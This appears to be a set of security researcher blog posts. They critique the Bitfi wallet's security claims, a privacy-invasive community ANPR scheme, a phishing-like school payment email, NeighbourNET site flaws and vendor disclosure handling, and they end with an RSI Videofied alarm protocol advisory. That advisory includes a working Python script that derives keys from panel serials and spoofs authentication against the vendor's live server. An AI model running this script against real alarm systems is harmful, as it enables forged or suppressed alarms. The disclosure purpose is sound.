Bitfi – Some Requests

It’s been almost 11 months since we showed that the Bitfi Knox MD40 wallet was vulnerable to two quite serious attacks:

  • The keys persisted in memory for days, allowing them to be recovered over USB in a few minutes – the cold boot attack.
  • The device could be easily rooted and backdoored over USB in a few minutes, allowing an attacker to receive your keys when you used them – the evil maid attack.

In those 11 months, Bitfi have not informed users of their device that they were vulnerable, or if they continue to be vulnerable:

  • Is the USB bootloader still open on some or all Bitfi devices?
  • Can some or all devices still be rooted trivially?
  • Have reasonable precautions been made to wipe the RAM?
  • How does a user determine if their device is vulnerable?

Without knowledge of the vulnerabilities on their devices, users cannot take appropriate actions to mitigate risk.

If you take their threat model as truth – that it is safe from nation states – you have no idea if your funds are at risk or not.

This is completely unacceptable, especially when one of their co-founders claims that not informing users of security issues puts lives at risk.

Further to this, Daniel Khesin has stated they believe the attacks take at least 10 minutes and have a 25-30% success rate. In reality, it was 2 minutes, and we didn’t see them fail. This suggests a massive disconnect on Bitfi’s side – they don’t actually understand the issue.

Without acknowledging the ease with which the attacks were carried out, there is no way they can actually fix them properly.

I have some very simple – and reasonable – requests for Bitfi:

  1. Document the attacks clearly and concisely on your own site, bitfi.com, including which versions of hardware and software are still vulnerable.
  2. Inform your customers, by way of both email and the dashboard, of these issues.

A company unwilling to take these actions is, by their own words, putting people at risk.

Without these basic courtesies in place, I’m not even going to entertain looking at the devices at Defcon.

What threat model is Bitfi working under? Not a realistic one.

Daniel Khesin – Bitfi’s not-CEO – has recently started differentiating Bitfi as the only one that can protect against state actors.

This doesn’t hold up to scrutiny.

Daniel keeps on talking about “forensic labs” that can recover keys from Trezor’s STM32 MCU. This is a feasible task.

He also claims a “secure element” does very little to stop extraction. Recovering data from most secure elements is beyond the means of nearly every lab in the world. Those that could carry it out will be charging very large sums of money.

Finally, he claims that anything typed into a computing device can be recovered. As of 2019, there are no labs on this earth who can recover data from the RAM inside a powered down MCU.

But, let’s assume these labs exist.

There are three serious logical errors here.

Firstly, how does the state actor have such advanced capabilities in recovering data from a secure element, but are unable to backdoor a Bitfi?

If a state actor wants to access your funds on Bitfi, all they need to do is backdoor the device. We showed how easy this was last year. It’s a much easier attack than cold boot.

Secondly, if a state actor wants your funds, they are either going to get them or make your life unpleasant. In other words, YOU’RE STILL GONNA GET MOSSAD’ED UPON.

Thirdly, if these labs are capable of recovering anything typed into a computing device, this means that these same labs can recover the seed and phrase from a Bitfi.

Bitfi have created a threat model to which their own device is incredibly vulnerable to.

Bitfi Does Store Keys

Well, here we are again.

The topic of Bitfi has reared it’s ugly head. I’ve written about Bitfi several times before, but they are still banging on about how their device doesn’t “store” your keys. If it doesn’t store your keys, there is nothing to steal.

This is bullshit.

There are two options here:

  • It does not store the keys
  • It does store the keys

Let’s threat model these two.

Situation: Bitfi does not store the keys

Imagine there is a means by which the device, genuinely, does not store keys in any form, for any length of time.

This would stop all attacks that aim to steal they keys, because they do not exist on the device. This would include:

  • Cold boot attacks that recover the key after the device has been used.
  • Evil maid attacks where the firmware is modified to recover the key before it is used.
  • Side channel attacks where the device leaks information about the key.

As these attacks would be impossible, there would be no need to use mitigations to make them more difficult to carry out.

Situation: Bitfi does store the keys

Now back to reality. Bitfi does store keys for a finite length of time in RAM.

This means that:

  • Cold boot attacks are now possible as the keys did exist in RAM and may remain in some form.
  • Evil maid attacks are now possible, as modified firmware can read the key and send it elsewhere.
  • Side-channel attacks are now possible, as the device has to store the key

This, in turn, means that mitigations must be put in place to make these attacks harder (but not impossible) to carry out.

The efficacy of these mitigations is therefore key to the security of the device.

Bitfi has (some) of these mitigations in place. As far as I know they:

  • Attempted to reduce the amount of time the keys exist in memory.
  • Attempted to obfuscate the contents of memory.
  • Have prevented USB data access to the device.

Conclusion

If Bitfi didn’t store keys, there would be no need to mitigate against attacks that steal the keys. They do have these mitigations in place.

It’s dishonest to keep on claiming that it doesn’t store keys when it does.

How effective are these mitigations? Well, we have no idea. I doubt Bitfi do either though.

Eternal Vigilance is the Price of Liberty

Those that know me well will know that I hold privacy and liberty of the individual as one of my core principles. I believe we are entitled, as part of our human rights, to go about our lives without intrusion from either the government, business or individuals.

In the UK, we are subject to pervasive surveillance by CCTV, ANPR, and other monitoring technologies. The government, media and police attempt to use a “nothing to hide, nothing to fear” mantra to convince the public that these technologies are effective and have little downside. Unfortunately, the cost-benefit of many of these systems has not been demonstrated. Even if it were, the costs would be purely tangible ones – install, maintenance and operating costs – ignoring the impact it can have on our personal wellbeing. Over time, we become used to this surveillance and accept it without question.

Recent rises in crime, along with reduced police resources, have triggered community crime-fighting efforts. Neighbourhood Watch and volunteer patrols are often suggested and can have positive effects.

But a recent post on a Facebook group proposed a system that could invade privacy, would not comply with data protection law, could place homeowner’s networks at risk of attack, and has no demonstrated impact on crime levels.

Initially, I was willing to put this down to naiveté and a “anything-is-better-than-nothing” attitude, but it soon because clear that these were not the issue here.

Unfortunately, this is a closed group and I can’t just link to it. I hope that the following excerpts are representative of the whole.

I’ll summarise this, and subsequent posts:

To reduce crime, a network of Raspberry Pi based automatic number plate recognition (ANPR) cameras would be installed. This would in the area of a small town and would be operated outside of GDPR or any other data protection laws. The cameras would be located at knee-height on the perimeter of private properties, filming public roads.

Residents pay to install and operate the system. Residents can prevent their vehicles from being logged by registering their number plate with the system. This would require sending a V5 document or an image of the car in the driveway.

In the event of a crime, the list of unregistered plates would be used somehow. There is also suggestion that alerts could be raised on “bad” plates.

There is proposed expansion to record WiFi and Bluetooth identifiers alongside number plates.

I have a number of serious concerns around this scheme.

Privacy

Elliot wishes to operate the scheme outside of current data protection laws.

He has made several incorrect or questionable claims here.

It seems to have been accepted by Elliott that recording images of people would mean the system would fall under GDPR.

There are a number of claims that need examining.

Firstly, it’s highly unlikely the cameras will only gather number plates. Whilst some ANPR cameras have a limited FOV and are virtually useless at capturing images of people, this is not the case here. They are general purpose, wide-angle cameras mounted at knee-height. If you stand 3m away from this camera, you will be captured from head-to-foot. The chance that a significant network of cameras does not capture images of people is vanishingly small.

Secondly, the notion that number plates do not constitute personal information is false. The ICO ruled on this in 2009: vehicle registrations of vehicles owned by individuals are personal information.

Thirdly, the camera network gathers more than just a number plate. There is also the time and location over a network of cameras, providing a route. This makes the information even more likely to lead to an individual being identified.

Fourthly, to register your car on the system, you are required to send your V5 or an image of the car in a driveway. This is certainly personal data.

Elliott was challenged about this. Rather than accept that the system may need to handle the data under GDPR, he doubled down around the V5s and images of cars in a drive.

He now tries to argue that the system isn’t being operated by an entity – it’s just citizens sending data to each other. It seems a very odd argument, given that the operator of the system would be taking payment of £50/year per camera – that sounds a lot like central entity. More to the point, GDPR doesn’t really care if it’s a business or individual, it cares about the data being gathered.

Fundamentally, Elliott is proposing a system that would gather other people’s data and that these people would not have any of their rights under GDPR. They would not be informed, they would not have the right to access, and they would not have the right to erasure.

To make things worse, the scope creeps to include Bluetooth and WiFi data gathering. Now your phone and smart watch will be tracked by the same system.

Without the controls that data protection laws provide, who knows what the data will be used for?

Information Security

The proposed system would place a network of Raspberry Pi’s on the networks of many homeowners.

I have three concerns here.

Firstly, I would be concerned that attackers without authorisation could take command of one or more of these devices remotely, viewing the cameras, injecting false data, or attacking the homeowner’s networks. IoT security isn’t easy, and I have seen many Raspberry Pi based systems fail badly and fail hard.

Secondly, I would be concerned that someone with authorisation to access the devices could attack the homeowner’s networks. Given that the system is operating outside of data protection laws, and that it isn’t operated by a company or entity, how do you know who has access to the devices? What controls have they put in place to protect you? What comeback would you have?

Thirdly, what would happen if one of the devices was stolen? What access would this permit the attacker? I often see credentials from a single device permit access to many more.

Efficacy

It is stated that the system will avoid capturing anything except images of number plates. As a result, it won’t actually capture images of crimes. It will just know which vehicles had been in the area at a given time.

If a crime occurs, all the system will be able to provide is a list of number plates of vehicles in the area. This list will contain residents who have not been registered, visitors, people passing through, vehicles that have not been registered as leaving due to coverage, and maybe the vehicle the criminal used.

I’m not sure what this list will be used for.

I’m not sure what the police would do with a list like this.

It’s certainly not obvious that it will provide any benefit.

Essentially, anyone with the audacity to enter the Oxted ring-of-steel will become a suspect.

If 100 cameras are installed, then it will cost £5,000 to install, and £5,000/year to operate – £30,000 over 5 years. Is it going to provide value compared to other options?

I’d want something more than an appeal-to-emotion to justify installing such a system.

Ironically, if the system gathered images of people and crimes, it would probably be of more use.

Attitude

There is the explicit admission that he will try to avoid GDPR.

Conclusion

Data protection law is often maligned. It isn’t the evil beast that many make it out to be.

Entities that comply with data protection law have normally considered what data they gather, and how they will protect it.

Those that don’t comply with data protection law often gather more than they need and don’t adequately protect it, likely because they don’t think any of the penalties can apply to them.

GDPR doesn’t exist to stop people implementing ANPR systems; it exists to allow those surveilled by such a system to know what happens with the data.

It’s often less effort to comply with the law than it is to skirt around it.

Ask yourself why Elliott is trying to escape these responsibilities and what impact it could have on you.

Bitfi against the competition – updated 2019

Bitfi’s core concept is that the wallet itself does not “store” your private keys – it calculates them on the fly.

It is acting as a simple key-derivation function. A salt (8 characters) and a phrase (30 characters or more) are passed through a simple algorithm to generate longer private keys.

The Bitfi takes a short key and “stretches” it into a longer key.

There is no secret sauce in a Bitfi – you don’t need that user’s Bitfi (or any Bitfi, for that matter), the user’s email address, password, access to the Bitfi dashboard or anything else. All you need is the salt and phrase. With those, funds can be accessed.

The Competition

We need to see how others have tried to implement hardware wallets. Most of them don’t work like the Bitfi.

  • A private key is generated using a random number generator in the wallet.
  • The private key is displayed on the wallet itself. The user writes it down and stores it safely as a backup.
  • This is the only time the key is output from the wallet.
  • From this point onward, the wallet acts as black box, signing any transactions that are sent to it. There is no need to enter the private key, and the private key is never output from the device.

This is probably the most important security feature of a hardware wallet: the private key is locked away in a black box with a limited attack surface and on a device that has a single use. The private key never needs to exist on your malware-infected, general-purpose laptop, and is therefore much less likely to be compromised.

There are still some obvious security issues that need to be handled.

  1. If the wallet is stolen, it could be used to sign transactions. To prevent this, the wallet uses a PIN to guard access to the black box. Without this PIN, the device will not function. Brute-force protection makes it infeasible to try all combinations, preventing the private key from being accessed.
  2. If the wallet is stolen, the private key could be read out from the memory inside the device. To mitigate this, the keys are stored on internal flash on microcontrollers. There is no easy way to read the keys out without advanced hardware attacks.
  3. The wallet simply signs transactions that are sent to it. A user may be expecting to sign “send 2BTC to Bob”. This could be modified to be “send 200BTC to Eve”. To prevent this, the wallet displays the transaction details and asks the user to confirm using buttons on the wallet.
  4. The wallet will run firmware, which can be updated. A malicious firmware could be loaded, allowing the private key to be read, or hide modified transactions from the user. Signed firmware and secure boot are used to protect against this. Only the vendor can generate firmware that the wallet will accept.

These protections are not perfect; a determined and dedicated attacker can still circumvent them. This is a key point: all we need to do is raise the bar high enough that most attackers don’t succeed.

Here are some example attacks from wallets:

Bitfi

Bitfi is very different to those hardware wallets.

Each and every time you need to sign a transaction, the user enters their entire salt and phrase via the touchscreen display.

The wallet then derives the private key. There is no need for the wallet to store the private key long-term.

Bitfi proudly state that this means there is “nothing to hack” – if there are no keys stored on the device, how can a hacker possibly get the keys?

At first glance, this seems sensible. But if you dig a bit deeper, you quickly realise how broken this concept is. I’m going to describe the attacks we have developed against Bitfi, and how they stack up against competitors.

Cold-boot attack

Description

With USB access to a stolen Bitfi, the salt, phrase and keys can be read from the RAM. This is called a “cold boot attack“.

https://twitter.com/saleemrash1d/status/1035269363903946755

The data persists in RAM for days whilst the device has a battery in it.

This only requires a USB cable and a laptop. The wallet casing does not need to be opened, and no specialist hardware is required. No skill is required as the attack is entirely scripted.

The attack takes less than a couple of minutes, and the device works as normal afterwards. It is feasible for this to be carried out during luggage X-ray at an airport, and returned to the user.

The attack has never bricked the Bitfi and has worked extremely reliably.

There is no requirement to cool the device to perform the attack.

Bitfi recommend the use of “diceware” passwords, which greatly facilitates the recovery of the phrase from memory. The use of a list of dictionary words means there is a lot of redundancy, which in turn means that the memory can degrade significantly and we can still recover the phrase.

Bitfi did not inform their customers of this issue.

Update – Summer 2019 – It has been claimed that the issue has been fixed, but no evidence has been provided, and no independent testing has been carried out.

Mitigations

To protect yourself, the battery must be removed from the wallet after use. To ensure the keys are no longer in memory, the wallet must be left powered down for at least an hour. During this period, you must make sure no one physically accesses the device.

Competition

The RAM on most other hardware wallets is protected from access via USB or debug protocols such as JTAG or SWD. We have observed no such protections on the Bitfi.

Even with this considered, most other wallets take steps to “zeroise” or wipe the memory immediately after it is used. This limits the window over which cold-boot attacks could be carried out. This is either not performed, or is wholly ineffectual on the Bitfi.

There are no published cold-boot attacks against other hardware wallets.

Malicious Firmware

Description

With USB access to a Bitfi, the firmware can be modified so that the salt, phrase and keys are sent to an attacker the next time they are entered by the user. This permits “evil maid attacks” as well as supply chain tampering.

This only requires USB access to the device. The wallet casing does not need to be opened, and no specialist hardware is required. The attack could be carried out if the Bitfi is connected to a compromised charger or laptop. Using this vector, the attacker never requires physical access to the device.

The attack takes less than a minute, and there are no mechanisms for the user to detect the modification. It is feasible for the attack to be carried out by anyone with access to the device for a short period, either before (supply chain tampering) or after (evil maid) the Bitfi enters possession of a user.

This attack could happen before you receive the device, when going through airport security, or when it is left unattended at home.

Mitigations

There are no mechanisms for a user to check if the device has been tampered with at a firmware level. This has been confirmed by Bitfi developers.

A user could assume that the device is trusted as received from Bitfi. As long as the device does not enter the hands of an attacker, and is never connected to an untrusted USB power source, it could be considered secure from this specific attack.

Assuming the device is trusted as received is therefore high-risk.

Competition

The use of signed firmware updates and secure boot mean that other wallets cannot have their firmware modified in less than a minute using just a USB connection.

There are still other attacks that hardware wallets are vulnerable to.

The wallet can be stolen and replaced in entirety. The replacement will send the PIN to the attacker, allowing them to unlock the stolen wallet and access funds. The user would detect the issue as their key would not be on the replacement wallet, and they would not be able to access funds.

The wallet can be accessed, modified with a hardware implant, and returned. It could harvest the PIN, modify transactions, or spoof integrity checks. This attack is significantly more challenging that simply plugging the device into USB, and to-date, no feasible attack has been shown against any of the popular wallets.

Shoulder surfing

Description

The entire salt and phrase need to be entered into the Bitfi each time it is used. This is entered using a conventional touchscreen, with a QWERTY keyboard, and displayed on the screen clearly.

It is entirely possible to read the salt and phrase from the screen and then use this to steal funds from the user.

Even without direct view of the screen, the finger position when typing allows characters to be inferred. The use of dictionary words means that even if certain characters cannot be determined, they can be inferred from those that can be seen.

As the salt and phrase contain all the information required to steal funds, a user may be entirely unaware that they have been compromised. The attacker can delay the attack until an opportune moment.

Mitigations

The Bitfi wallet cannot be used when someone can observe the device.

Competition

Whilst the PIN can be shoulder-surfed on other devices, an attacker still requires access to the wallet itself to obtain the key. This provides a significant additional layer of security.

Some other wallets mitigate the risk of shoulder surfing by randomising PIN layout.

Key entropy

Description

The Bitfi device allows users to choose their own salt and pass phrase. Multiple studies have shown users are very bad at choosing and storing passwords, and there is no reason to assume that Bitfi will differ.

It was discovered that one user even used the sample phrase from the Bitfi instructions.

Mitigations

A salt and phrase of good quality must be used.

Competition

Competing wallets encourage the use of keys that are randomly generated using a good source of entropy, removing the human aspect.

Something-you-have and something-you-know

Description

Bitfi only requires the salt and phrase, and nothing else. Wallets can be used interchangeably (at least, at a functional level – this is not recommended for security reasons).

If your salt and phrase leak via any means, an attacker has access to your funds. There are no flags to signal this.

This is termed single-factor authentication.

Mitigations

There are no good means to solve this issue.

Competition

Other wallets support passphrases as part of the BIP39 specification. To use the wallet, you need both the key stored in the wallet itself, and a passphrase that is stored elsewhere. This is something-you-have (the key on the wallet) and something-you-know (the phrase).

Use of a passphrase with BIP39 significantly elevates the security above that of a Bitfi.

Conclusion

The Bitfi wallet is less well protected than competing hardware wallets. If you ever let anyone else have access to it, ever connect it to an untrusted device, or use it in a public place, you are not safe.

Users of Bitfi must take significant and limiting steps to mitigate the risk they are exposed to.

Even ignoring Bitfi’s dishonest behaviour, the product has little to recommend it over any other wallet.

Can these issues be fixed?

We aren’t really sure.

There is no hardware root of trust on the Bitfi. This must be burned into the device before it leaves the vendor’s possession for it to be secure. Without this, secure boot cannot be implemented well.

The use of external RAM on a commodity chipset (without RAM encryption) will always leave the keys exposed, no matter how well you try to wipe them from software.

Android is a poor choice of operating system. It makes wiping memory very challenging – the salt and phrase are in tens of locations. It also makes limiting the attack surface very, very hard.

The Bitfi hardware wallet isn’t “unhackable”

Earlier this week, cryptocurrency news was full of stories about a new hardware wallet: the Bitfi.

What makes this one any different?

John McAfee claims it is “unhackable”. Not just “harder to hack”, but “unhackable”.

That’s a bold claim. They know it’s a bold claim, so they have set a bounty.

Sounds great, no?

No.

The bounty deliberately only includes only one attack: key recovery from a genuine, unaltered device. And the device doesn’t store the key.

The only way to win the bounty is to recover a key from a device which doesn’t store a key.

There are many, many more attacks such a device is vulnerable to. The most obvious one: modifying the device so that it records and sends the key to a malicious third party. But this is excluded from the bounty.

Why is this?

Because the bounty is a sham. When it lays unclaimed, Bitfi can say “our device is unhackable”. What it actually means is “our device is not vulnerable to one specific attack”.

I’m going to put a challenge to them.

If their device is unhackable, then change your bounty terms:

  • A trusted intermediary is chosen e.g. a lawyer or judge.
  • We provide the trusted intermediary with three Bitfi devices, a laptop computer and a WiFi access point.
  • The trusted intermediary puts $1,000,000 directly onto each Bitfi device, using the laptop and WiFi access point we have provided.
  • They must follow the publicly available documentation, without interference from anyone.

These are much stronger security goals to meet, and much more accurately emulate the real world.

If Bitfi won’t change the terms, it’s clear to me that they don’t stand behind their claims that the device is unhackable.

 

Win a prize! If you log in using the link in this email!!!!

Email from Parentpay

Email from Parentpay

On 25th August, I received the above email purporting to be from ParentPay. ParentPay is an online payment system designed for use by schools – you can book and pay for school dinners, library fines, school trips etc.

I am a user of the application, but I’ve only casually (and observationally) looked at the security of their main web application. I have no complaints, although the SSL configuration is less than optimal.

This email looks like a textbook phishing email. I had to spend some time confirming it was genuine, and was only really convinced after they tweeted about the same competition.

Why does it look like a phishing email?

  1. The sender’s email address is not on the domain parentpay.com – it is parentpay@emarketing.education.co.uk. This teaches your users to accept that any email containing the word parentpay is genuine.
  2. You are tempting users with vouchers in return for logging in. This is a standard technique used by phishers.
  3. Amazon is not capitalised. Spelling and grammar mistakes are common in phishing emails.
  4. The login link labelled “Login to ParentPay” takes us to the ParentPay login page. In a phishing email, it would take us to a malicious site that may harvest our details or deliver malware. Conditioning users to login via links sent in email is a bad idea.
  5. The login link directs us to the education.co.uk domain, which redirects to ParentPay. Teaching users to follow links to third-party sites to login is a monumentally bad idea – a number of attacks can be carried out like this including a plain phishing page, tabnabbing etc.

Please don’t send emails like this – it doesn’t just impact the security of your site. Conditioning users to trust emails like this goes against a lot of user awareness training, regardless of which site they are accessing.

Multiple vulnerabilities in NeighbourNET platform

NeighbourNET (caution, awful Flash splash page) is a platform used to power a number of local community websites in London:

  • www.ActonW3.com
  • www.BrentfordTW8.com
  • www.ChiswickW4.com
  • www.EalingToday.co.uk
  • www.FulhamSW6.com
  • www.HammersmithToday.co.uk
  • www.PutneySW15.com
  • www.ShepherdsbushW12.com
  • www.WandsworthSW18.com
  • www.WimbledonSW19.com

It would be fair to say the visual presentation of the sites hints at there being security problems.

1. No passwords required for login

When you login to the site, all you need is an email address. There are no passwords at all.

Screen Shot 2016-07-10 at 09.58.44

2. Posting name can be spoofed

The posting name and email is passed as a parameter when posting a message, and it can be altered to any value you want.

Screen Shot 2016-07-10 at 10.10.48

This allows you to post as anyone else on the forum.

Screen Shot 2016-07-10 at 10.14.52

3. No cross-site request forgery protection

No requests to the site have any cross-site request forgery protection.

A user can visit another website, and that website can cause them to carry out actions on the site, such as posting messages.

4. Allows embedding of untrusted third-party content

The site embeds it’s own content using a URL passed as a GET parameter.

The source of this content is not whitelisted or validated, so you can just embed your own content. This has only been tested with plain HTML, but if JavaScript, Flash or other content could be embedded, this would lead to cross-site scripting or malware delivery to users.

Screen Shot 2016-07-10 at 10.41.11

Conclusion

A mess of security issues. Considering that local councillors use these sites to communicate with the public, allowing impersonation is a serious issue.

Disclosure timeline:

The operators of the sites were informed on 4th May, so after 60 days they are being disclosed.

03/05/2016 – first email sent to NeighbourNET

04/05/2016 – email response received, issues sent by email, receipt acknowledged

17/05/2016 – chase on further response

14/06/2016 – chase on further response and state disclosure date of around 04/07/2016. Email acknowledged.

17/06/2016 – get response from vendor:

Chatted to the development team about the issues you raised.

They acknowledged that you have identified some potential security holes but they have existed for a long time without ever been exploited and there seems little incentive for anyone to try to do so.

We have been for some time now working on completely overhauled site architecture and whilst this project has been ongoing for sometime we are now talking in terms of months rather than years before implementation. This would close these security holes and others.

 

 

How could CSL Dualcom have handled my report better?

The release of the CSL Dualcom report last week has caused quite a stir in the security industry. With just shy of 60,000 page views, thousands of tweets, many forum discussions, and one particularly lively thread on Reddit, many people in both the security and IT industries have read the work. Two clear comments have been made many times:

  1. Yes, this crypto is really bad.
  2. How did CSL Dualcom mess up handling this so badly?

If you want to fix the crypto, there are many places you can go.

If you want to handle vulnerabilities better though, I hope I can give you some advice. I’ve now dealt directly with CSL, Risco, Visonic, Dedicated Micros, Samsung, Motorola, Texecom and WebWayOne and think that I have learnt a lot about the disclosure process.

Make reporting issues easy

The first step of reporting a vulnerability is contacting someone. At worst, this requires multiple emails, tweets, phone calls, and LinkedIn prodding. Some companies have taken several months to respond, and when they do, they ask questions to check that you are eligible to receive support. Others have responded and dealt with issues in under 24 hours.

Make this easy. Have a page on your site, ideally with an email address security@panelmaker.com. Have an auto-responder on this email address, informing the reporter what the next steps are. Get back to them quickly.

Have a vulnerability disclosure policy

None of the vendors had a vulnerability disclosure policy. This means the reporter has no idea how their work will be handled – are they going to be welcomed with open arms? Threatened with legal action? Can they disclose the vulnerability?

You should have a simple and fair vulnerability disclosure policy. We realise you are dealing with potentially legacy products that are hard to update, so give yourselves a long period of time to deal with issues.

Allow researchers to disclose the issues once fixed or mitigated. This gives both parties benefits – you get free security testing done, the reporter gets reputation, and customers can see how responsive you are.

Pass it by your solicitor to make sure you are not digging your own grave.

Do not require a non-disclosure agreement

As an independent security consultant, it is essential that I do not go around signing NDAs willy-nilly.

They provide me with no benefit. There is virtually nothing that a vendor can disclose about me, but I have a lot I can disclose about them.

At the same time, they put me at risk. The vendor has little legal risk – what can I sue them for, if they have nothing to disclose? Equally, they can sue me as I hold a lot of secrets.

NDAs prevent me discussing work with existing customers. If I sign an NDA with CSL, I then can’t advise my other customers in detail about CSL’s mistakes.

Do not be threatening

Do not make any implied or actual threats, especially legal ones.

You can be in absolutely no doubt that if one person can find the issues, so can another. And that other person may not be so amenable.

Google “Streisand Effect” and “Illegal Prime” if you want to find out more about why trying to suppress things rarely works.

Work with the researcher

In more than a few cases, the vendor made fixes for an issue, but the fixes also had problems. In some cases, they even make problems worse.

A prime example of this is reporting a backdoor password, and the vendor simply changes the backdoor password…

Check with the researcher if the fix actually solves the problem, or you will just end up with multiple vulnerabilities being disclosed.

Realise that you are Internet connected

15 years ago, signalling devices were neatly partitioned from the Internet. They had dedicated communications channels and infrastructure.

As devices added IP, they were treated as signalling devices that happen to have an IP side. They were still treated as alarm products, and not Internet connected devices. The threat model had stuck at “Billy Burglar”.

Nowadays, this attitude is still common. But devices have changed – most of them connect to or via the Internet. You need to include “Hacker” into your threat modelling. Fundamentally, a lot of attacker don’t even care if you device is an alarm – they just want another box that is able to generate traffic or send spam as part of a botnet.

You need to involve people who are versed in information security.

Avoid ending up with disclosure handled by CERT/CC

Don’t get me wrong – I love CERT/CC and what they do, but it is disasterous for a company to end up with a vulnerability on their product there. It sends a very strong signal out to the IT community that the company has had ample chance to respond to an issue and they haven’t. It also gives massive exposure to issues – over 1000 tweets showed up within 6 hours of the CSL issue being disclosed.

Work with researchers to avoid this.

 

 

 

 

Multiple serious vulnerabilities in RSI Videofied’s alarm protocol

RSI Videofied are a French company that produce a series of alarm panels that are fairly unique in the market. They are designed to be battery powered and send videos from the detectors if the alarm is triggered. This is called video verification. They are frequently used on building sites and disused buildings.

They send data over either GPRS (mobile) or IP. Whilst reverse engineering as part of competitor analysis for a client, I found a large number of vulnerabilities in the protocol they use to communicate.

In summary, the protocol is so broken that it provides no security, allowing an attacker to easily spoof or intercept alarms.

As appears to be the norm in the physical security world, the vendor failed to respond over the course of 6 weeks, so this was taken to CERT/CC for disclosure. They are due for disclosure 30 November 2015. CERT/CC have released their report.

The issues were found in their newest W Panels in mid-2015.

The following CVEs have been assigned:

  • CWE-321: Use of Hard-coded Cryptographic Key – CVE-2015-8252
  • CWE-311: Missing Encryption of Sensitive Data – CVE-2015-8253
  • CWE-345: Insufficient Verification of Data Authenticity – CVE-2015-8254

RSI Videofied have stated to CERT/CC that this is fixed in version 3 of their protocol which is currently being rolled out.

Weak authentication

When the panel initially communicates with the receiving server, there is an authentication handshake (R is received by panel, S is sent by panel)

R: IDENT,1000.
S: IDENT,EA00121513080139,2.
R: VERSION2,0.AUTH1,9301D4E13A1CDF51F873C790AFD602AF.
S: AUTH2,91A4E381AF21ECEB010FA0EE83021D48,D8717F423736A1F01510D25E919A3ED2.
R: AUTH3,8EE8E00CFEFEF83C76D34A6B7EC4BB23.
S: AUTH_SUCCESS,1440,1,20150729232041,5,2,E2612123110,0,XLP052300,0,27F7.ALARM,

This looks like some kind of challenge/response. EA00121513080139 is the panel’s serial number. 1440 is the account number for that particular panel.

Brief entropy analysis of the long strings in AUTH1, AUTH2, and AUTH3 showed them to be random.

A Python script was created to mimic the panel.

It was noted that if the serial number was altered, the response was different:

R: IDENT,1000
S: IDENT,EA00121513080136,2
R: SETKEY,10680211105310035016110010318802
R: VERSION,2,0 AUTH1,D5689F494D81ECA07E72CC0F3459ED4E

It appears that the first time a particular server sees a serial number, it informs the panel of the key used for the challenge/response. If we then attempt to connect again, the key is not shown to us.

It was then seen that connecting the panel to a new server at a different alarm receiving centre delivered exactly the same key. This means that the key is deterministic. It also means that to obtain the key for any given panel, all we need to do is send the serial number to another Videofied server (of which there are many).

However, we can go further than this. Notice that the key delivered above has a lot of common numbers with the serial number. It appears that the key is just a mixed up serial number:

R: IDENT,1000
S: IDENT,0000000000000000,2
R: SETKEY,00000000000010000000000000010000 VERSION,2,0 A
R: AUTH1,6587DA1323597F4AC986936BAF20102B

R: IDENT,1000
S: IDENT,0000000000000020,2
R: SETKEY,00000000000210000000000000210000
R: VERSION,2,0 AUTH1,0A79588F06FEB594D153237230BA0D61

R: IDENT,1000
S: IDENT,0123456789ABCDEF,2
R: SETKEY,40FB05D68C7E10A97A4FD6C080E1BB05
R: VERSION,2,0 AUTH1,D4F98DF37EF53F52505599D833484658

This means that we can trivially determine the key used for authentication using the serial number that is sent in the plain immediately beforehand.

The challenge response protocol is as follows:

Server: Random server challenge
Panel:  AES(Random server challenge, key) | Random panel challenge
Server: AES(Random panel challenge, key)

Now that we have the key, it is very easy for us to spoof this.

import socket
from Crypto.Cipher import AES
from Crypto import Random

# 4i Security's server and port
rsi_server = 'rsi.videofied.com'
rsi_port = 888
# This is the valid alarm serial
serial = 'A3AAA3AAA2AAAAAA'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rsi_server, rsi_port))

# Open a connection to the server should see
# IDENT,1000
print 'R:',s.recv(1024)

# This is the valid serial number from the board
msg = 'IDENT,' + serial + ',2\x1a'
print 'S:', msg
s.send(msg)

# Should receive
# VERSION,2,0
print 'R:', s.recv(1024)

# AUTH1,<16 byte challege>
auth1 = s.recv(1024)
print 'R:', auth1

# Split out challenge
challenge = auth1.split(',')[-1][:-1]
print 'Challenge:', challenge

# The key is just a jumbled up serial.
# This means the key is entirely deterministic and can be guessed from one sniffed packet.
key = serial[4] + '0' + serial[15] + serial[11] + '0' + serial[5] + serial[13] + serial[6] + serial[8] + serial[12] + serial[7] + serial[14] + '1' + '0' \
    + serial[10] + serial[9] + serial[7] + serial[10] + serial [4] + serial[15] + serial[13] + serial[6] + serial[12] + '0' + serial[8] + '0' + serial[14] + \
    '1' + serial[11] + serial[11] + '0' + serial[5]

cipher = AES.new(key.decode('hex'))

# Encrypt in EBC mode
response = cipher.encrypt(challenge.decode('hex')).encode('hex').upper()

print 'Response:', response

# Generate our own random challange
challenge = Random.new().read(16).encode('hex').upper()

# Send back response in form:
# AUTH2,<16 byte response>,<16 byte challenge>
msg = 'AUTH2,' + response + ',' + challenge + '\x1a'

print 'S:', msg
s.send(msg)

# Calculate the expected response
print 'Expected Response', cipher.encrypt(challenge.decode('hex')).encode('hex').upper()

# This should be the encrypted response from the server
print 'R:', s.recv(1024)

# Send capture status message
msg = 'AUTH_SUCCESS,1440,1,20150729232041,5,2,E2612123110,0,XLP052300,0,27F7\x1aALARM,1932\x1a'
print 'S:', msg
s.send(msg)

print s.recv(1024)

Clearly this is not good.

Authentication decoupled from identity

The above authentication ensures that a given panel with a serial number knows the key. Even if this key was secret and non-deterministic, it is entirely decoupled from the identity of the account. The account is the piece of information identifying the panel to the alarm receiving centre.

Notice that in the above authentication, the account number 1440 is not encrypted or linked to the panel serial:

R: IDENT,1000.
S: IDENT,EA00121513080139,2.
R: VERSION2,0.AUTH1,9301D4E13A1CDF51F873C790AFD602AF.
S: AUTH2,91A4E381AF21ECEB010FA0EE83021D48,D8717F423736A1F01510D25E919A3ED2.
R: AUTH3,8EE8E00CFEFEF83C76D34A6B7EC4BB23.
S: AUTH_SUCCESS,1440,1,20150729232041,5,2,E2612123110,0,XLP052300,0,27F7.ALARM,

It turns out that we can simply re-program the panel to use site 1441, and it will report into the alarm receiving centre as account 1441. There is no tie to the serial number, and no authentication of the account number.

Other basic crypto failings

Beyond the authentication being totally broken, the protocol suffers from further basic issues:

  • Nothing is encrypted – anyone can view the content of the messages, including the videos.
  • There is no integrity protection such as a message authentication code or even a checksum, meaning that it is easy for messages to be altered deliberately or by accident.
  • There are no sequence numbers, which means that messages can be replayed and there is no end-to-end acknowledgement of alarm reception

Conclusion

